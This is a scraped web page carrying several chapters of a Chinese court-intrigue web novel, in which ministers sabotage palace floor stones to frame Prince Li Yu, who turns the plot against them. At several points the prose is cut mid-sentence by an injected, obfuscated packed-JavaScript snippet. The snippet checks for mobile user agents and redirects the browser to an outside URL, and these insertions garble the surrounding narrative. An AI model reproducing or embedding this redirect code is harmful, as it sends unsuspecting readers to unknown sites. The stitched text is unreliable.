就在李钰还和苏庭雪你侬我侬的时候,太医院里,吴涛还在受罪。 因为李钰亲自动手的缘故,那裤子外面虽然没什么,但内里已经被打烂了,并且和血肉混在一起。 再加上没有第一时间送过来的缘故,那伤口已经和内里的裤子粘在了一起。 折腾了小半个时辰,才彻底脱了下来。 但也就是这小半个时辰里,吴涛的惨叫声就没有停下来过。 等到那裤子被褪下来,吴涛的脸色早已苍白无比,整个人瘫软在担架上一动不动。 双臂耷拉在地上,一副出的气多,进的气少的样子。 甚至到了后面,太医给其清创上药的时候,即便是剧痛,那吴涛也没了力气,只是趴在那里一抽一抽。 看着自己儿子变成这副模样,吴三友衣袖里的双手紧紧握起,泪眼之中更是恨意满满。 “李钰!此仇不报!老夫誓不为人!” 等到那太医将药上完,吴三友见状,急忙上前询问道:“王太医,犬子伤势如何?” 只见那王太医犹豫了一下,开口道:“吴大人,令郎的伤势太重,有伤筋动骨的架势,若是恢复不好,怕是日后会落下腿疾。” 一听这话,吴三友顿时脸色苍白,不由的后退了几步。 也不怪吴三友害怕,如果吴涛因此落下了病根,有了腿疾,那日后就没有机会进入官场了。 朝廷对于官员的要求可不仅仅是学识,还有容貌体态。 吴涛如果落下了腿疾,那日后就被断绝了进入官场的可能。 这幽王好狠辣的心思! 慌乱间,吴三友一把抓住王太医的手,掌心不动声色的送过去一锭金子。 “劳烦王太医多多用些心思,老夫这里感激不尽!” 那王太医一愣,不动声色的将银子收下,才看向吴三友。 “吴大人客气了,令郎这伤势惨了点,但也并非没有恢复的可能,只是时间上可能长一些。” “吴大人不必担心,每过七天过来换药即可。” 听到儿子的伤势还有救,吴三友立马点了点头。 将那王太医送走之后,吴三友犹豫了片刻,这才将手下叫来。 “送公子回府,不能有任何差池。” “是!” 说完,吴三友便动身离宫,直奔秦王府。 这仇他等不到幽王离京了! 第41章 舍不着孩子套不着狼 秦王府。 后宅内。 吴三友跪在地上,声泪俱下的朝李泰控诉李钰的罪状。 “殿下要为老臣做主啊!” “那幽王失势都如此猖狂,将我儿打的险些变成废人!” “他这哪里是在打老臣的脸,这简直就是在打殿下的脸啊!” “如此心狠手辣,日后若是得了权势,还了得了?” 看着吴三友在自己面前哭诉,李泰也是双拳紧握。 随后来到痛哭流涕的吴三友面前,亲自将其搀扶起来。 “吴大人快点起来,此事本王会给你做主的。” 那吴三友此刻也在李泰的搀扶下站起身来,但那老脸却依旧悲怆。 坐下之后,李泰才看着吴三友说道:“吴大人,你我本就是一家人,舅舅那边的事儿,自然也是我的事儿。” “今天的事儿我也听说了,那幽王做的确实是过分了些。” 吴三友抹了抹泪,随后看向李泰。 “殿下,那幽王恃强凌弱,自从失了太子之位后,更是性情大变,这种情况如果再让他掌权,便是殿下也要遭殃。” “老臣觉得,殿下还是尽早做出决断才是。” 听到这话,秦王李泰也是沉默下来。 良久,才无奈说道:“本王又怎么可能不知道?但眼下这情况,几次三番都没有拿下他,反倒是惹得父皇那边不高兴了。” “就差骂本王是废物了。” “本王原想着缓一缓,等到那万寿宫建成的时候,逼迫幽王作赋一篇,如果不好,也能乘机拿捏他一番。” “就算是作好了,到时候父皇还是怀疑他藏拙,所图不轨。” “本王也没想到,这中间会出现这么一档子事儿。” 吴三友倒是第一次听说这个计划,但想想还要等一段时间,心中仇恨便有些抑制不住。 “殿下,老臣以为这事儿不能拖到那时候。” “怎么说?” 见秦王李泰不解,吴三友解释道:“殿下,万寿宫修建完成最少还有一个月的时间。” “这期间,难保不会出现什么意外。” “比如说,幽王完成了作品,亦或者说其他对咱们不利的变故。” “以幽王现在的模样,只要是抓住一点机会,就会往**弄,无论是陛下还是殿下,在其手中多次吃亏。” “您就敢百分百保证,这文章拿出来之后,能定他的罪?” “到时候朝堂上也会有不少人阻挠的。” “咱们现在最缺的就是时间,不是其他。” 听到吴三友这么说,李泰也不由得蹙眉沉思起来。 不得不说,吴三友说的还是很有道理的。 拖确实不是最好的办法。 “那依你之见,咱们应该如何做?” 吴三友眼底寒光浮现。 “殿下,咱们不如将万寿宫的收尾工作交给幽王如何?” 一听这话,李泰不由得愣了愣。 “这不是白白送给他功劳吗?” 万寿宫算得上这些年大乾最大的工程了。 前前后后耗时八年时间,银钱数百万两之巨,征调民夫十几万人。 所用木材,全都是从江南运来的百年以上大树。 这眼看着要完工了,现在却要将收尾工作交给李钰,这不扯了吗? 见李泰有些生气,吴三友急忙说道:“殿下稍安勿躁,请听下官把话说完。” 李泰眉头轻皱。 “说。” 那吴三友也不卖关子,径直道:“殿下,这万寿宫还有地砖未曾铺设。” “最新一批的地砖也在七天后运抵京城。” “这些石材可都是从陇西开采回来的石材,极其少有。” “殿下,如果说这些石材出了问题,那又当如何?” 听到吴三友这么说,李泰的脸上浮现出几分喜色。 “你是说在石材上动手?” 吴三友点了点头。 “老臣有一法,可以让山石变脆,只要人踩上去次数多了,这石材就会断裂。” “万寿宫耗费银钱无数,如果这时候因为李钰的存在而出现了问题,那陛下岂会轻饶他?” “耽误了良辰吉日,幽王就再无翻身的可能。” “到时候他就是咱们脚底的一块烂布,任由咱们踩踏。” 李泰此刻心里琢磨着这个法子,一时间也是欢喜的很。 “这 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随后,只见那吴三友深呼吸一口气,抬起脚来就朝着水盆里伸了进去。 一声闷哼,吴三友整个身体都绷紧起来。 看着眼前这一幕,下人们也是被吓了一跳,眼瞅着要松手,但是又被吴三友呵斥了回来。 “别动!” 咬牙坚持了片刻后,吴三友才将脚抬了起来。 看着那双脚已经被烫伤的样子,吴三友突然发出一阵渗人的笑声。 “老夫就不相信,这一次弄不死你!” 强忍着疼痛,吴三友让下人拿来笔墨纸砚,随后忍着痛开始书写奏折。 等写完之后,才将其递给了手下。 “将折子送到宫中去,若是有人来查看,也不要阻拦。” “是。” 翌日。 宫中就有消息突然传出。 工部尚书吴三友,因为救子心切,亲自煎药,不慎烫伤双脚,无法工作,奏请乾帝,将万寿宫收尾修建的工作,交给幽王李钰来做。 消息一出,朝堂上下也是一片哗然。 第42章 这就是个坑 万寿宫的修建,如今已经是朝廷最大的一件事儿了。 如果不能按期完工,到时候还不知道要如何面对乾帝的怒火。 这个档口吴三友出了事儿,朝中百官也是担心的很。 乾帝在收到吴三友的奏折之后,一时间也是生气的很。 倒不是生吴三友的气,而是在生李钰的气。 “这混账东西!下手狠辣,致使朕的重臣也跟着受牵连!” “若不是他,现在哪里有这么多破事?” 狠狠的将手里的奏折丢在地上,乾帝脸色也随之阴沉起来。 大殿之中。 百官看着乾帝生气的样子也是不敢说话。 唯有秦王李泰,这时候眼睛转了转,轻咳一声站了出来。 “父皇,儿臣以为这件事儿还是要尽快安排人接手才行,否则耽误了大事儿,可就得不偿失了。” 乾帝生着闷气点了点头。 “秦王说的在理,吴爱卿也是这么想的,所以给朕推举了一个人。” “此人就是幽王李钰。” 听到吴三友居然推介了幽王李钰,朝中百官也是惊讶不已。 这吴家被李钰搞成了现在这个样子,吴三友还推介李钰? 疯了不成? 乾帝此刻一言不发,心中却是另有想法。 他大致也能猜的出来吴三友这样做的原因,无非是觉得招惹了皇子,心中害怕李钰继续报复,因此才做出了这个决定。 但乾帝却是不喜欢。 在他看来,这时候如果李钰接了手,那岂不是要天下人耻笑自己? 什么事儿完成不了了,你想起来幽王了。 早干嘛去了? “朝中诸位,还有谁愿意承担此事的?” 一声询问过后,朝中百官却是没有一个人肯站出来。 哪怕是面对这到手的功劳,也没有人肯试一试。 见状,乾帝顿时怒火中烧。 “养兵千日用兵一时,你们拿着朝廷的俸禄,现如今朕让你们做个事儿,你们反倒是不乐意了?” 面对乾帝的怒火,在场之人脑袋低的愈发厉害起来。 即便是如此,也没有一个人肯站出来。 见气氛差不多了,那六皇子李泰才朝着手下的官员使了个眼色。 下一秒,就有官员站了出来。 “陛下,吴大人乃是工部尚书,万寿宫修建一事从头到尾也是其负责,现如今吴大人伤了腿无法办事,推举幽王殿下,那自然是因为幽王殿下最为合适。” “臣等觉得既然如此,为了不生端倪,就用幽王吧。” “臣附议。” “臣附议。” 看着众多大臣纷纷站出来同意让李钰继续监工,乾帝也不由得迟疑起来。 但眼下实在是没有人肯接手,似乎也只有幽王李钰一人了。 思前想后,乾帝最终无奈采用了众多大臣们的意见。 “既然如此,那就让幽王来接手吧。” “拟旨,着幽王接手万寿宫,限期完成,不得延误,否则严惩不贷!” 见乾帝终于是决定要李钰接手,李泰眼底浮现出几分喜色。 这套可算是套上去了! …… “他问过我没就直接下旨?本王在他眼里就这么闲吗?整日里给他收拾这些烂摊子?” 幽王府后院。 李钰拿着刚刚到手的旨意,脸上满是无语。 而站在其对面的礼部尚书刘玄礼则是一脸尴尬之色。 旨意送到的第一时间,他就来到了幽王府。 来此,也是为了提醒李钰一句,这事儿其中有诈。 但显然,幽王并不是他们想象中的那样高兴,反倒是厌恶的很! 要知道,李钰可才刚刚比罢免了没多久。 换做其他皇子,这时候有这种表现的机会,那绝对是要打起十二分的精神来做的。 但偏偏李钰是个例外。 “殿下,这事儿也不能说全都是坏事儿,您要是做好了,指不定陛下一高兴,还把你留在京城了呢?” “留在京城?要不是东西没准备妥当,本王早就去宣化了。” “这破地方有什么好的?你哪儿看出来本王想留在京城的?” 刘玄礼神色差异的看着李钰,却是没想到李钰会这么说。 “殿下为何不想留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可现在偏偏是吴三友有全套的东西,却压根不考虑六皇子,你不觉得奇怪?” 刘玄礼听到这话,也是瞬间摇了摇头。 他算是明白李钰到底在怀疑什么了。 “殿下英明!” 对于这无关痛痒的招式,李钰也随之开口道:“明天去万寿宫的修建地点看看,本王倒是要看看,他吴家和六皇子还能够给本王整出什么幺蛾子。” 第43章 查看进度 翌日一早。 李钰收拾妥当之后,就动身去了万寿宫的修建现场。 万寿宫地处皇城以南,地势平坦,周围还有长河环绕,风景很是秀丽。 李钰的马车还没有进入万寿宫的范围,就看到了那高大宫殿的轮廓。 足可见这地方修建的规模有多大。 说是乾帝的清修闭关之地,但在李钰看来,这就是享乐的地方。 “殿下,到地方了,再往里就不能行进马车了。” 听到这话的李钰,起身从马车内走了出来。 入眼可见,到处都是赤膊上阵的民夫。 这些民夫在见到李钰的时候,纷纷退到两侧,跪地相迎。 李钰看了一眼,眉头轻蹙。 随后一言不发的朝着工地内部走去。 只是刚走了没几步,迎面就有一名官员带着一群人走了过来。 当来到李钰面前的时候,那官员就立马朝着李钰行了一礼。 “下官工部员外郎陈子敬,携万寿宫所有监工,拜见幽王殿下!” 看着面前这群衣着光鲜亮丽的监工,再看看那泥地里摸爬滚打,拉纤行走的民夫形成了鲜明对比。 但李钰并没有生气,而是单单扫了一眼众人之后,开口道:“陈大人,本王奉旨前来接替吴大人的工作。” “如今这万寿宫进行到哪一步了?” 对于李钰接管万寿宫的建设这件事儿,陈子敬也是早有耳闻,也提前收到了吴三友的消息。 只是朝着李钰笑着点了点头。 “回禀殿下,万寿宫大部分已经修建完毕,眼下只剩下了地面铺设石材的工程。” “七天前运来了第一批石材,现在已经铺设的差不多了,下一批石头今日就送到,不会耽误大事儿。” 李钰点了点头。 “带本王去看看石材。” 听到李钰以来就要看石材,陈子敬微微一愣,随后急忙说道:“下官这就带殿下去。” 说完,便伸手一引,做了个请的手势,随后在前面带路。 穿过泥泞的道路,走了大概盏茶功夫,众人这才来到万寿宫前。 只见前方地面不再是泥泞不堪的道路,入眼全都是一色的石材路面。 李钰走到那石材铺设的路上,发现这石材的边边角角很是整齐,一开始就是仔细修理过的。 “殿下,这石材都是四尺四长,三寸厚的。” “铺设在地上恰到好处。” 说着,陈子敬还让人专门拿来一块石板让李钰查看。 只是看了一眼,李钰也不接手,随后往前一步,重重的在石材上跺了几脚。 那石材倒是坚固无比,并没有断裂的迹象。 看着这一幕的陈子敬,也是不由得嘴角抽了抽。 虽说他也知道现在铺设的石材没有问题,但李钰这动作一看就知道不是个好糊弄的。 按照吴三友的意思,这石材在陛下来之前,绝对不能出现任何差错,以免给了李钰改正的机会。 “殿下放心,工部日夜监工,这万寿宫的质量绝对没有问题。” 李钰不动声色的点了点头。 “万寿宫修建多年,陛下也是翘首以盼,万不能出现任何问题,否则咱们谁都脱不开干系。” “我等谨遵殿下教诲。” 在万寿宫内兜兜转转了一圈,直到听说第二批石材已经送到,李钰便看向陈子敬。 “陈大人,咱们一起去看看如何?” 听到这话的陈子敬有些紧张,但李钰都说出口了,他也不敢拒绝。 “殿下这边请。” 说话间,便带着李钰朝着石材的地方走去。 等来到地方,马车如同长龙一般排列,李钰随意走到一辆马车跟前,只是一个眼神,陈子敬立马上前。 “将盖布打开,幽王殿下要亲自查验!” 那负责押送石材的官员,一听是幽王要亲自查验,急忙上前将盖布打开。 看着那车板上整齐码放的早已处理好的石材,李钰上前用手叩了叩,随后问道:“这石材都是从整块石材上切下来的?” “回禀王爷,是从整块巨石上取下来的。” “质量呢?比如说会不会踩坏什么的?” 那负责石材押送的人摇了摇头。 “不会,此石材是从北境青山上开采下来的,质地坚硬,历经百年而不裂,开采此石成本高昂,铺在地上之后,即便是马踏人踩百年也不会开裂。” “而且这石材皇宫中也有使用,也没有裂开的记录。” 见负责石材的人说的言之凿凿,李钰似笑非笑的看向陈子敬。 “陈大人倒是用心了,看样子这石材确实是不一般,如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576654|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本王就放心了。” 陈子敬虽然不知道李钰这笑脸是个什么意思,心中没来由的慌了一下。 冲着李钰讪讪一笑。 “殿下玩笑了,为陛下做事,自然是要尽心尽力,这是我工部职责所在。” 李钰点了点头,伸手在那砖石上拍了拍。 “这砖石尽快铺设开,如果速度够快,本王会奏请父皇先来看看,也算是为你们请功了。” 听到这话的陈子敬愣了愣,没想到李钰会主动邀请乾帝来。 眼睛转了转,陈子敬才躬身道:“殿下放心,下官一定盯紧这事儿。” “到时候还要劳烦殿下在陛下面前美言几句了。” “好说好说。” 似乎是自己做的确实不错,陈子敬将看的开心的李钰送走之后,站在原地琢磨了琢磨,随后吩咐了手下一声,离开了万寿宫的工地。 …… 吴家。 双脚被烫伤的吴三友这几日一直在府中养病。 听到陈子敬求见,便直接让人将其带了进来。 见双脚缠着白布的吴三友,陈子敬急忙行了一礼。 “下官拜见大人。” “起来吧。” 吴三友微微颔首,随后示意下人搬一把椅子过来。 等到那陈子敬坐下之后,吴三友这才开口问道:“突然来找本官,因为什么事儿?” “大人,幽王今天去万寿宫查看去了。” 一听这话,吴三友眼中精芒一闪。 “都看什么了?” “石材,今日有新的石材送到,幽王亲自查看了。” 吴三友没想到李钰会先查看石材,脸上浮现出几分诧异。 “可有发现问题?” 陈子敬摇了摇头。 “咱们的石材都在后面的马车,或许是走过场,幽王没有仔细查看。” “不过幽王说了一件事儿,他说进度再赶一赶,过段时间会邀请陛下前来参观。” “有点意思,看样子这幽王是打算讨好陛下了。” 陈子敬有些犹豫。 “下官只是觉得蹊跷,不知道大人有什么想法?” 闻言,吴三友冷笑一声。 “怕什么?就按照他说的做,将这一次的石材用到大殿里去,本官倒是要看看,他李钰能玩出什么花招来!” 第44章 暴露问题 吴三友是铁了心要弄死李钰。 乾帝要来万寿宫视察,不可避免的要去主殿查看。 而作为万寿宫最为重要的主殿,那可是乾帝日后清修居住的地方,容不得半点马虎。 如果里面的砖块一踩就断,纵然是乾帝的亲儿子,也不可饶恕。 他吴三友要的就是借此机会,彻底扳倒幽王,乃至杀死幽王。 好报自己儿子被打伤之仇! 陈子敬本就是吴三友提拔起来的,对于吴三友那是言听计从。 眼瞅着吴三友都说出这种话来了,也只能躬身应是。 “下官这就回去安排,大人放心,这一次就算是那幽王有千般本事,也得栽在这砖石上!” 看了一眼陈子敬,吴三友微微一笑。 “陈大人,这一次若是能够彻底断了幽王这个祸害,你我对于晋王来说也算是从龙之功了。” “到时候本官高升,这工部尚书的位置,也就是你了。” 陈子敬闻言,双眸瞬间明亮起来。 对待吴三友的态度,也是愈发恭敬起来。 “大人提携之恩,下官没齿难忘啊!” “大人先好生休息,万寿宫那边交给下官来做就好。” 说完,陈子敬就恭恭敬敬的朝着吴三友行了一礼,随后躬身退了出去。 …… 幽王府。 礼部尚书刘玄礼看着神态自若的李钰,一时间有些捉摸不透李钰到底在想什么。 “殿下,万寿宫如今的进度,属实是不太适合陛下前去查看,您这不是给自己找事儿吗?” 李钰品了一口茶,淡淡道:“刘大人,合不合适不是你我说了算。” “你信不信,你现在劝说陛下前去查看万寿宫的进度,他工部的官员,明天就能给你把主殿的地砖全都铺上。” “那您图什么?邀功?” 闻言,李钰嗤笑一声。 “邀功?他们不背后给本王一刀,就已经是万幸了。” 说到这里,李钰神色平淡道:“吴三友在地砖上动了手脚。” 此话一出,刘玄礼倏地一下站起身来。 “殿下怎么知道?” 刘玄礼不是什么都不知道的小白,万寿宫这种级别的皇家建筑,哪怕是一草一木都极为重要。 地砖这东西,目视所及之处全都有铺设,这玩意儿恰恰是最不能出现问题的才对,毕竟他是皇上走的。 一旦因为地砖有问题而伤了龙体,那就是谋逆大罪。 但转念间,刘玄礼又有些不解起来。 “不对啊,殿下既然知道地砖有问题,那就应该主动上报陛下,停止铺设地砖。” “为什么您还要陈子敬铺砖,用陛下视察的名头来督促他们尽快铺设,难道您就不担心出现问题?” “还有,您是怎么知道地砖有问题的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581843|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见刘玄礼这幅模样,李钰淡淡笑道。 “有些事儿,不上称谁都不知道有多重,这一旦上了称,可就由不得他们了。” “吴三友给本王好处这种事儿绝对不可能发生,那就只有一条,给本王挖坑。” “万寿宫收尾在即,想要动手脚坑本王,也只能在地砖上动心思了。” “至于为什么不直接上报父皇,停止工程,刘大人你觉得陛下会听本王的?” “所以,这事儿还是得他亲眼看到了,才算是真的。” 听到这话,刘玄礼瞬间沉默下来。 吴三友确实是不会给李钰什么好处,而陛下更是如此,不给李钰甩脸子就已经是好事儿了,至于听幽王的话,那更是无从谈起。 “殿下的意思,老夫明白了,回头老夫就去宫里邀请陛下前往万寿宫查看。” “有劳刘大人了。” 刘玄礼行了一礼,躬身退下。 而刘玄礼也果真是没有让李钰失望。 回去之后,第一时间就奏请乾帝,要乾帝前往万寿宫视察。 因为距离上次视察,还是几年前的事情。 乾帝在听了刘玄礼的意见之后,心中也是期待的很。 “爱卿所言极是,万寿宫事关朕清修大事儿,容不得马虎,朕确实是要去看看才行。” “既然如此,那就安排到五日后吧。” “臣遵旨!” 第45章 这话谁先说算谁的 乾帝御驾亲临,李钰带着陈子敬等工部官员,亲自相迎。 当看到乾帝那御辇缓缓停下,乾帝从上面走下来的时候,除却李钰之外,所有人都跪倒在了地上。 “恭迎陛下!” 乾帝此刻被太监搀扶着,眼见百官跪迎,脸上浮现出几分满意之色。 只是在看到站着的李钰时,心中不爽瞬间拔高。 按照规制,皇子遇到皇上是不用跪的。 但这些年,这规矩很少有人照做,遇到皇上之后,皇子也是要行君臣之礼的。 **以为常的乾帝,陡然间看到李钰这个样子,自然是会心中不爽的很。 “免礼平身吧。” 工部官员们纷纷站起身来,有些人看着李钰的背影,心中也是咂舌的很。 这幽王果然是如同传闻中那样,一点面子都不给陛下。 “朕今日来,是听闻万寿宫进度不错,即将完工,所以来看看。” “不知道你们做到哪一步了?” 陈子敬刚要上前回话,但猛地听到一声轻咳。 “咳咳~” 原本打算迈出去的脚步,也随之收了回来。 李钰见状,这才站出来道:“回禀陛下,万寿宫主殿已经修建完毕。” 听说主殿已经修建完毕,乾帝眼神随之一亮。 万寿宫是自己静修之地,主殿更是重中之重,没想到会是最先完工的。 “哦?这倒是不错,朕去看看。” 一旁的陈子敬见李钰主动提出主殿一事,心中还诧异的很,当听到乾帝要亲自去看看的时候,陈子敬的脸上开始浮现出几分喜色。 当真是天堂有路你不走,地狱无门偏来投。 既然你自己找死,那就怪不得本官了。 于是,陈子敬更是亲自在前面带路。 穿过还在修建的御道,当看到那巍峨雄壮的万寿宫时,乾帝的脸上激动之色溢于言表。 “果然是雄伟壮丽,朕若是能在此处静修,必定能够顺利达到天人感应的境界!” 言罢,乾帝脚下的步伐就不由得加快了几分。 然而,就在乾帝一只脚要迈进大殿的时候,却突然听到李钰喊了一声停! “父皇且慢!” 原本等着看好戏的陈子敬,这时候也是错愕的看向李钰。 心中满是不解。 这好端端的,你喊停干什么? 乾帝一脸疑惑的收回自己的脚,看向李钰的眼神中也多了几分不快。 “你有什么事儿?” 李钰嘴角一扬,开口道:“儿臣是要和您说说,这主殿铺设的砖块。” “地砖而已,有何可说的?” 见乾帝面露不悦,李钰耐着性子开始解释道:“父皇,这主殿的砖石可不一般。” “每一块都是独一无二,乃是工部尚书吴三友吴大人亲自挑选的。” “甚至入场之前,为了防止以次充好,工部侍郎陈子敬陈大人还专门亲自查验过。” “有我大乾工部尚书和侍郎亲自检验过的,放眼天下也独此一物了。” 乾帝眉头一挑,随即扭头看向陈子敬。 “哦?倒是有心了,看样子朕果然是没看错人。” 陈子敬被莫名带了一嘴,现在又得到乾帝的夸赞,一时间也是有些懵逼。 下意识的就回应了一句。 “既食君禄,就要行忠君之事,这都是臣应该做的。” 乾帝很是满意的点了点头。 “有此肱骨之臣,朕心甚慰啊。” “如此,朕可真的要好好看看这主殿了。” 说着,就要迈步走进去。 这一次没有了李钰的阻挠,乾帝顺利踏入主殿。 但下一秒。 原本空旷的大殿内,突然响起一道极其轻微的声音。 “咔嚓!” 清脆的声音响起,乾帝的脚也瞬间僵在原地。 脸上带着疑惑的看向脚下。 只见一道清晰可见的裂纹,出现在了乾帝的脚下。 “这是?” 陈子敬这时候也是猛然回过神来,满脸不可思议的看着乾帝脚下龟裂的痕迹。 “哎呀!怎么踩裂了呢?” 李钰突然惊呼一声,但那语气怎么听都像是故意的。 乾帝回过神来,一抹寒光在眼底绽放,接着便看向陈子敬。 “陈爱卿,这到底是怎么回事儿?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581844|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此刻的乾帝之所以没有询问李钰,就是因为刚刚乾帝已经先入为主的认为,这砖石问题就出自陈子敬乃至吴三友身上! 因为刚刚李钰说了,这地砖就是陈子敬和工部尚书吴三友联合督办的。 和李钰没有半点关系! 而此刻,陈子敬才意识到了刚刚自己为什么觉得不对劲。 这他娘被李钰坑了! “陛、陛下,刚刚幽王所说的话,都是臣要说的啊!” “这话说的,谁说了算谁的。” 李钰在一旁轻飘飘来了一句,随后看着乾帝躬身道:“陛下,地砖这东西虽然小,但却关乎圣体,您想想。” “您在此地静修,站起身来走了几步就踩到一块碎砖,身形不稳摔倒在地上,如果再砸坏几块,伤了圣体,岂不是我大乾的不幸?” “这才第一块就踩坏了,要不是有人故意为之,要不就是地砖本就有问题。” “儿臣建议严查此事,不可姑息!” 陈子敬颤抖着手指向李钰。 一时间居然不知道该说什么才好。 就李钰说的那两个理由,无论是哪一个都要命的很。 故意的,那就是欺君之罪,只要查到就难逃一死。 如果只是单纯的地砖问题,那他们工部的官员,自然是首当其冲一个都跑不了。 不死上几个,这事儿都没法收场。 李钰这是要把他们往死路上逼啊! “陛下,或许只是一块砖坏了而已,臣会严查是哪个工匠所为,一定严惩不贷。” 眼见陈子敬要隐瞒这件事儿,李钰立马开口说道:“陈大人,本王怎么看着不像是工匠做的,倒像是这地砖本身的问题?” 陈子敬心头一跳。 满脸尴尬的看着李钰说道:“殿下这话是什么意思?难不成是怀疑本官没有严查?” 李钰摇了摇头。 “我自然是不敢质疑陈大人,只是就事论事罢了。” “这地砖有没有问题,咱们去看看不就知道了吗?” 听到这话,陈子敬也是迟疑不已。 他现在有点摸不准李钰到底要做什么。 难不成他知道地砖有问题? 第46章 反转 今天视察万寿宫,乾帝原本心情是很不错的。 毕竟这座为自己修建的清修之地,耗费白银无数。 可以说是大乾自立国以来,投入最多的皇家建筑。 除了供自己使用之外,还是在向世人昭示大乾的强大。 是自己未来接见外使的主要场所。 可以说代表了大乾的脸面,更是代表了自己的脸面! 现在这小小的地砖一脚就被踩裂,乾帝的好心情自然是不复存在。 这哪里是有伤龙体那么简单。 这简直是把自己的脸面踩到了地上! 是可忍孰不可忍! 但乾帝也不傻,他在李钰手里吃了不少亏,现如今也学会了察言观色。 眼瞅着李钰和陈子敬你一言我一语的说着。 那陈子敬明显被李钰压着一头,乾帝眼睛转了转,终于是开了口。 “既然幽王这么说,那朕就去看看吧。” 原本还想着说辞的陈子敬,此刻听到这话也知道阻挠不了这件事儿。 只好躬身应是。 “臣这就让人去准备。” 见陈子敬转身要离开,李钰却是伸手阻拦了一下。 “陈大人不必费心了,让陛下直接去就好了。” 听到这话的陈子敬,身体不由得一僵,脸上露出一抹尴尬的笑容来。 “现场杂乱,恐怕会伤到陛下,还是收拾一下的好。” “陈大人,本王说不用了。” 陈子敬脸色微变,扭头看向乾帝。 却见乾帝脸色也有些难看,但却没有出言呵斥,因此只能退到一边。 “前面带路吧。” 狠狠看了一眼李钰,乾帝也是懒得计较,吩咐陈子敬前面带路。 无奈之下,陈子敬只能亲自带着乾帝前往石材堆放的地方。 等来到现场,看着满地杂乱。 乾帝脸上露出一抹厌恶之色,但还是强忍着来到石材堆放的地方。 陈子敬急忙吩咐工匠搬来一块砖石。 随后,就看到陈子敬用木棍在那砖石上敲了敲。 一阵金石之音传来。 乾帝看着这一幕,心中也是有些好奇。 “陛下,这砖石都是上好的材质,即便是用手去敲打,也会传出金石之音,足可见其硬度。” “主殿内铺设的也是这种砖石?” “正是。”陈子敬点了点头。“可以说是这批砖石当中最好的了。” 乾帝眉头轻蹙:“那为何这砖石会一踩就裂呢?” 陈子敬面露犹豫,乾帝见状当即有些不满。 “有什么你尽管说就是了,遮遮掩掩成何体统?” 话音刚落,陈子敬就做出一副惶恐的样子来,跪在地上开口道:“陛下,如果说砖石没有问题,那大概就是工艺上的问题了。” “幽王殿下来到这里之后,让我等加快工期。” “那主殿内的砖石铺设原本不是这几日要铺的,但幽王说陛下可能来查看,所以让我等加快速度。” “此事其他官员也可作证。” 乾帝闻言看向其他官员。 “陈子敬说的可都是真的?” “确有此事。” 见众人稀稀拉拉的回应着,乾帝脸色瞬间阴沉下来。 扭头看向李钰,眼底也多了几分冷色。 “幽王,朕让你来监工,那是工部尚书吴三友极力推介你的,朕也对你寄予厚望。” “你就是这么应付朕的?” “你这好大喜功的毛病什么时候能改改?” “难不成你想要借此机会,在朕面前邀功,让朕免了你流放宣化之罪?” 面对乾帝的灵魂发问。 李钰是一脸无语之色。 “陛下想多了,儿臣没想着不去宣化,反倒是想尽快成行,也就是您在这里拴着儿臣罢了。” 乾帝闻言,顿时语塞。 目瞪口呆的看着李钰,一时间居然不知道该说什么才好。 “你……” 不等乾帝把话说出口,李钰就开口将其打断。 “陛下,赶工一事儿臣不否认,毕竟儿臣本就不想接下这差事,只想尽快离京前往宣化。” “至于说这砖石一踩就裂和赶工有关系,恕儿臣不敢苟同。” “这压根不是什么工艺问题,乃是砖石的质量问题罢了。” 说完,李钰就转身朝着那堆砌砖石的地方走去。 众人一脸好奇的看着这一幕。 只见那李钰蹲在地上挑挑拣拣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591397|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻后拿起一块砖石朝着乾帝这边走来。 “陛下请看。” 乾帝皱着眉,一脸狐疑的看着李钰。 “你给朕看石头干什么?” “陛下,这石头和刚刚陈大人给您展示的那一块并不一样,颜色有些浅。” 听到这话的乾帝并未仔细看石头,而是不耐烦的看着李钰。 